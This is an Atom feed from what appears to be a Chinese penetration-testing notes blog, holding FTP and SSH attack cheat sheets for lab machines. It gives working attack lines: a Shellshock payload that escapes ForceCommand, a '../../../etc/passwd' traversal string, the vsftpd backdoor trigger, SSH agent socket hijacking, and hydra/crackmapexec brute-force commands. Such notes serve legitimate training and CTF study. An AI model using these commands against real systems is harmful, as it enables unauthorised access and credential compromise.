<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://lizisec.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://lizisec.github.io/" rel="alternate" type="text/html" /><updated>2026-04-08T23:25:39+08:00</updated><id>https://lizisec.github.io/feed.xml</id><title type="html">lizisec notes</title><subtitle>HackTheBox / VulnHub 复盘与协议利用记录</subtitle><entry><title type="html">FTP(21)渗透利用思路</title><link href="https://lizisec.github.io/ftp-21-pentest-guide/" rel="alternate" type="text/html" title="FTP(21)渗透利用思路" /><published>2026-01-17T00:00:00+08:00</published><updated>2026-01-17T00:00:00+08:00</updated><id>https://lizisec.github.io/ftp-21-pentest-guide</id><content type="html" xml:base="https://lizisec.github.io/ftp-21-pentest-guide/"><![CDATA[<h1 id="ftp">FTP</h1>
<p>常规登录，默认端口21</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo ftp 192.168.2.140
</code></pre></div></div>
<!-- truncate -->
<p>指定端口登录</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo ftp 192.168.2.140 2121
</code></pre></div></div>
<h3 id="匿名登录">匿名登录</h3>
<p>可以尝试用anonymous+空密码匿名登录
进去后先切换binary mode防止下载文件发生乱码</p>

<h3 id="历史漏洞">历史漏洞</h3>

<p><strong>ProFTPD 1.3.5</strong> 的 <code class="language-plaintext highlighter-rouge">mod_copy</code> 漏洞：允许远程代码执行（RCE）</p>

<p><strong>vsftpd 2.3.4</strong> 笑脸后门：如果在用户名后面输入 <code class="language-plaintext highlighter-rouge">:)</code>，服务器会直接在 6200 端口开启一个 Shell。</p>

<h3 id="配置错误">配置错误</h3>

<p>../../../etc/passwd 可能存在目录穿越</p>]]></content><author><name></name></author><summary type="html"><![CDATA[FTP 常规登录，默认端口21 sudo ftp 192.168.2.140]]></summary></entry><entry><title type="html">SSH(22)渗透利用思路</title><link href="https://lizisec.github.io/ssh-22-pentest-guide/" rel="alternate" type="text/html" title="SSH(22)渗透利用思路" /><published>2026-01-17T00:00:00+08:00</published><updated>2026-01-17T00:00:00+08:00</updated><id>https://lizisec.github.io/ssh-22-pentest-guide</id><content type="html" xml:base="https://lizisec.github.io/ssh-22-pentest-guide/"><![CDATA[<h3 id="常规连接">常规连接</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh username@192.168.1.2
</code></pre></div></div>
<!-- truncate -->
<h3 id="通过私钥连接">通过私钥连接</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh-keygen -t ed25519 -C "备注内容"   #生成密钥对
sudo ssh -i id_ed25519 smbuser@192.168.2.129 #私钥连接
</code></pre></div></div>
<h3 id="防止ssh连接断开">防止ssh连接断开</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -o ServerAliveInterval=60 user@host
</code></pre></div></div>
<p>每 60 秒自动发一个心跳包，维持连接。</p>
<h3 id="常见连接报错">常见连接报错</h3>
<p>出现</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(kali㉿kali)-[~] 
└─$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 dstevens@192.168.2.129 Unable to negotiate with 192.168.2.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
</code></pre></div></div>

<p>通常是我们的ssh版本过高，服务端版本过低，更改进入时的配置即可生效</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa,ssh-dss dstevens@192.168.2.129
</code></pre></div></div>
<ul>
  <li><code class="language-plaintext highlighter-rouge">-oKexAlgorithms=+diffie-hellman-group1-sha1</code>: 允许使用<code class="language-plaintext highlighter-rouge">diffie-hellman-group1-sha1</code>密钥交换算法。</li>
  <li><code class="language-plaintext highlighter-rouge">-oHostKeyAlgorithms=+ssh-rsa,ssh-dss</code>: 允许使用<code class="language-plaintext highlighter-rouge">ssh-rsa</code>和<code class="language-plaintext highlighter-rouge">ssh-dss</code> host key类型。</li>
</ul>

<p>出现<code class="language-plaintext highlighter-rouge">Permissions 0777 for 'id_ed25519' are too open.</code>
私钥权限过大（如777）,改为600即可</p>
<h3 id="专项漏洞">专项漏洞</h3>
<h4 id="shellshock传参cve-2014-6271">Shellshock传参(CVE-2014-6271)</h4>
<p>当 SSH 配置了强制执行命令（ForceCommand）时，如果系统 Bash 版本存在漏洞，攻击者可以通过环境变量注入恶意的 Bash 函数，从而绕过原本的命令限制，获取完整的 Shell。
如果可以传参，为什么不试试呢</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh john@192.168.56.101 /bin/bash
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -i noob noob@10.0.2.30 '() { :;}; /bin/bash'
</code></pre></div></div>
<h4 id="ssh用户名枚举漏洞cve-2018-15473">SSH用户名枚举漏洞（CVE-2018-15473)</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python ssh_enum.py &lt;目标IP地址&gt; -U &lt;用户名列表&gt;
</code></pre></div></div>
<h4 id="openssl随机数生成缺陷cve-2008-0166">OpenSSL随机数生成缺陷（CVE-2008-0166）</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/g0tmi1k/debian-ssh.git 
cd debian-ssh 
./find_key.py &lt;目标IP地址&gt; &lt;用户账号&gt;
</code></pre></div></div>
<h3 id="ssh端口转发">ssh端口转发</h3>
<h4 id="本地转发l">本地转发(L)</h4>
<p>将远程服务器的某个端口映射到本地。
<em>场景：</em> 目标内网有一台数据库（3306），只有 SSH 机器能访问，你想在本地用图形化工具连接。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -L 3306:127.0.0.1:3306 user@192.168.2.129
</code></pre></div></div>
<h4 id="远程转发r">远程转发(R)</h4>
<p>将本地端口映射到远程服务器。
<em>场景：</em> 你在内网，没有公网 IP，想让公网的 VPS 访问你的本地服务。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -R 8080:127.0.0.1:80 user@vps_ip
</code></pre></div></div>
<h4 id="动态转发d">动态转发(D)</h4>
<p>建立 SOCKS5 代理。所有经过本地1080端口的流量都被转发到vps</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -D 1080 user@192.168.2.129
</code></pre></div></div>

<h3 id="会话劫持">会话劫持</h3>
<h4 id="劫持ssh-agent-socket">劫持SSH Agent Socket</h4>
<p>当用户使用SSH Agent并开启了“转发”（<code class="language-plaintext highlighter-rouge">-A</code> 参数）连接到一台跳板机时，用户的本地私钥能力会通过一个Unix Domain Socket文件临时映射到跳板机上。
这个Socket文件通常存放在跳板机的/tmp目录下。如果跳板机上的root用户是攻击者，或者攻击者拥有读取该目录的权限，他们就可以直接“借用”这个用户的身份登录内网的其他机器</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ls -al /tmp/ssh-*
export SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.XXXX
ssh user@内网其他机器
</code></pre></div></div>
<h3 id="ssh爆破">ssh爆破</h3>
<h4 id="crackmapexec">crackmapexec</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo crackmapexec ssh  192.168.2.137 -u user.lst -p pass.lst
</code></pre></div></div>
<blockquote>
  <p><code class="language-plaintext highlighter-rouge">crackmapexec</code> 的截图待补，先保留命令示例。</p>
  <h4 id="hydra">hydra</h4>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hydra -L user.txt -P pass.txt ssh://192.168.2.137 -t 4 -V
</code></pre></div>  </div>
</blockquote>]]></content><author><name></name></author><summary type="html"><![CDATA[常规连接 ssh username@192.168.1.2]]></summary></entry></feed>